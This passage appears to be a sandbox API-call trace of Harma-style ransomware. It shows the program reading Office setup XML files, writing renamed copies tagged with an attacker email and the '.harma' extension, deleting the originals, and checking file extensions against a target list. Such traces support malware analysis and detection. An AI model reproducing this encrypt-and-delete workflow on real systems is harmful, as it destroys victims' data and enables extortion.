"c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.675] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.675] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.675] GetLastError () returned 0x0 [0049.675] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x333, lpOverlapped=0x0) returned 1 [0050.047] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x340, lpOverlapped=0x0) returned 1 [0050.048] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.048] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0050.048] SetEndOfFile (hFile=0x1dc) returned 1 [0050.354] CloseHandle (hObject=0x1dc) returned 1 [0050.380] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.380] SetEndOfFile (hFile=0x15c) returned 1 [0050.381] CloseHandle (hObject=0x15c) returned 1 [0050.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0050.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.382] lstrlenW (lpString=".doc") returned 4 [0050.382] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.382] lstrlenW (lpString=".docx") returned 5 [0050.382] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0050.382] lstrlenW (lpString=".pdf") returned 4 [0050.382] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.382] lstrlenW (lpString=".xls") returned 4 [0050.382] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.382] lstrlenW (lpString=".xlsx") returned 5 [0050.382] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0050.382] lstrlenW (lpString=".ppt") returned 4 [0050.382] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.383] lstrlenW (lpString=".zip") returned 4 [0050.383] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.383] lstrlenW (lpString=".rar") returned 4 [0050.383] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.383] lstrlenW (lpString=".bz2") returned 4 [0050.383] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.383] lstrlenW (lpString=".7z") returned 3 [0050.383] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.383] lstrlenW (lpString=".dbf") returned 4 [0050.383] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.383] lstrlenW (lpString=".1cd") returned 4 [0050.383] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.383] lstrlenW (lpString=".jpg") returned 4 [0050.383] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.384] lstrlenW (lpString=".doc") returned 4 [0050.384] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString=".docx") returned 5 [0050.384] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0050.384] lstrlenW (lpString=".pdf") returned 4 [0050.384] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString=".xls") returned 4 [0050.384] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString=".xlsx") returned 5 [0050.384] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0050.384] lstrlenW (lpString=".ppt") returned 4 [0050.384] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.384] lstrlenW (lpString=".zip") returned 4 [0050.384] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.384] lstrlenW (lpString=".rar") returned 4 [0050.384] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString=".bz2") returned 4 [0050.384] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.384] lstrlenW (lpString=".7z") returned 3 [0050.384] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.384] lstrlenW (lpString=".dbf") returned 4 [0050.384] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.385] lstrlenW (lpString=".1cd") returned 4 [0050.385] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.385] lstrlenW (lpString=".jpg") returned 4 [0050.385] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.385] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.385] lstrlenW (lpString="SETUP.XML") returned 9 [0050.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.385] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9352) returned 1 [0050.385] CloseHandle (hObject=0x15c) returned 1 [0050.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0050.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.386] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.386] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0050.386] GetLastError () returned 0x0 [0050.386] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2488, lpOverlapped=0x0) returned 1 [0050.388] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0050.390] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.390] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.390] SetEndOfFile (hFile=0x1dc) returned 1 [0050.390] CloseHandle (hObject=0x1dc) returned 1 [0050.391] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.391] SetEndOfFile (hFile=0x15c) returned 1 [0050.392] CloseHandle (hObject=0x15c) returned 1 [0050.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.393] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.393] lstrlenW (lpString=".doc") returned 4 [0050.393] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.393] lstrlenW (lpString=".docx") returned 5 [0050.393] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.393] lstrlenW (lpString=".pdf") returned 4 [0050.393] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.393] lstrlenW (lpString=".xls") returned 4 [0050.393] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.393] lstrlenW (lpString=".xlsx") returned 5 [0050.393] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.393] lstrlenW (lpString=".ppt") returned 4 [0050.393] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.393] lstrlenW (lpString=".zip") returned 4 [0050.394] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.394] lstrlenW (lpString=".rar") returned 4 [0050.394] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString=".bz2") returned 4 [0050.394] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString=".7z") returned 3 [0050.394] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.394] lstrlenW (lpString=".dbf") returned 4 [0050.394] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.394] lstrlenW (lpString=".1cd") returned 4 [0050.394] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.394] lstrlenW (lpString=".jpg") returned 4 [0050.394] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.394] lstrlenW (lpString=".doc") returned 4 [0050.394] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString=".docx") returned 5 [0050.394] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.394] lstrlenW (lpString=".pdf") returned 4 [0050.394] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.394] lstrlenW (lpString=".xls") returned 4 [0050.394] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString=".xlsx") returned 5 [0050.395] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.395] lstrlenW (lpString=".ppt") returned 4 [0050.395] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.395] lstrlenW (lpString=".zip") returned 4 [0050.395] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.395] lstrlenW (lpString=".rar") returned 4 [0050.395] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString=".bz2") returned 4 [0050.395] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString=".7z") returned 3 [0050.395] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.395] lstrlenW (lpString=".dbf") returned 4 [0050.395] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.395] lstrlenW (lpString=".1cd") returned 4 [0050.395] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.395] lstrlenW (lpString=".jpg") returned 4 [0050.395] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.395] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.396] lstrlenW (lpString="Office32MUI.XML") returned 15 [0050.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0051.218] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1383) returned 1 [0051.218] CloseHandle (hObject=0x1e0) returned 1 [0051.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0051.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0051.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0051.219] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.219] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.846] GetLastError () returned 0x0 [0051.846] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x567, lpOverlapped=0x0) returned 1 [0052.310] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0052.312] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.312] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0052.312] SetEndOfFile (hFile=0x214) returned 1 [0052.312] CloseHandle (hObject=0x214) returned 1 [0052.316] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.316] SetEndOfFile (hFile=0x1e0) returned 1 [0052.316] CloseHandle (hObject=0x1e0) returned 1 [0052.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.317] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.317] lstrlenW (lpString=".doc") returned 4 [0052.317] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.317] lstrlenW (lpString=".docx") returned 5 [0052.317] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.317] lstrlenW (lpString=".pdf") returned 4 [0052.317] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.317] lstrlenW (lpString=".xls") returned 4 [0052.317] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.317] lstrlenW (lpString=".xlsx") returned 5 [0052.317] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.317] lstrlenW (lpString=".ppt") returned 4 [0052.317] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.317] lstrlenW (lpString=".zip") returned 4 [0052.317] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.317] lstrlenW (lpString=".rar") returned 4 [0052.318] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString=".bz2") returned 4 [0052.318] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString=".7z") returned 3 [0052.318] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.318] lstrlenW (lpString=".dbf") returned 4 [0052.318] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.318] lstrlenW (lpString=".1cd") returned 4 [0052.318] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.318] lstrlenW (lpString=".jpg") returned 4 [0052.318] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.318] lstrlenW (lpString=".doc") returned 4 [0052.318] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString=".docx") returned 5 [0052.318] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.318] lstrlenW (lpString=".pdf") returned 4 [0052.318] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.318] lstrlenW (lpString=".xls") returned 4 [0052.318] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString=".xlsx") returned 5 [0052.319] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.319] lstrlenW (lpString=".ppt") returned 4 [0052.319] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.319] lstrlenW (lpString=".zip") returned 4 [0052.319] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.319] lstrlenW (lpString=".rar") returned 4 [0052.319] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString=".bz2") returned 4 [0052.319] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString=".7z") returned 3 [0052.319] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.319] lstrlenW (lpString=".dbf") returned 4 [0052.319] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.319] lstrlenW (lpString=".1cd") returned 4 [0052.319] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0052.319] lstrlenW (lpString=".jpg") returned 4 [0052.319] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.319] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.319] lstrlenW (lpString="Proof.XML") returned 9 [0052.319] CreateFileW 